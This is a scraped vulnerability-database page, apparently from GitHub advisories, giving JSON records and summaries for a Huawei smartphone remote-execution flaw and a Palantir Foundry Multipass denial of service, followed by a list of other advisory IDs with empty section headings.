    "nvd_published_at": "2021-08-02T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "There is an Improper Control of Dynamically Managing Code Resources Vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may allow attempts to remotely execute commands.",
  "id": "GHSA-q72c-36c3-whh7",
  "modified": "2022-05-24T19:09:34Z",
  "published": "2022-05-24T19:09:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22387"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2021/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q76Q-X9C4-447V

Vulnerability from github – Published: 2022-06-15 00:00 – Updated: 2022-06-24 00:00

Details

The Multipass service was found to have code paths that could be abused to cause a denial of service for authentication or authorization operations. A malicious attacker could perform an application-level denial of service attack, potentially causing authentication and/or authorization operations to fail for the duration of the attack. This could lead to performance degradation or login failures for customer Palantir Foundry environments. This vulnerability is resolved in Multipass 3.647.0. This issue affects: Palantir Foundry Multipass versions prior to 3.647.0.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-27889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-14T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Multipass service was found to have code paths that could be abused to cause a denial of service for authentication or authorization operations. A malicious attacker could perform an application-level denial of service attack, potentially causing authentication and/or authorization operations to fail for the duration of the attack. This could lead to performance degradation or login failures for customer Palantir Foundry environments. This vulnerability is resolved in Multipass 3.647.0. This issue affects: Palantir Foundry Multipass versions prior to 3.647.0.",
  "id": "GHSA-q76q-x9c4-447v",
  "modified": "2022-06-24T00:00:33Z",
  "published": "2022-06-15T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/palantir/security-bulletins/blob/main/PLTRSEC-2022-02.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-913

Improper Control of Dynamically-Managed Code Resources

GHSA-M843-FC87-4V2M

GHSA-MMHJ-4W6J-76H7

GHSA-MRGP-MRHC-5JRQ

Impact

Patches

Workarounds

References

For more information

GHSA-P3F3-5CCG-83XQ

Impact

Patches

Workarounds

References

GHSA-PPCV-W2RM-62GC

GHSA-PX3P-VGH9-M57C

Exploit Chain

Impact

Proof of Concept

Environment

PoC

Exploit Usage:

Remediation

Alternative Escape Vectors

Reporter

GHSA-Q358-8XV4-RG52

GHSA-Q6H9-JC46-5C2P

GHSA-Q72C-36C3-WHH7

GHSA-Q76Q-X9C4-447V

Mitigation

Mitigation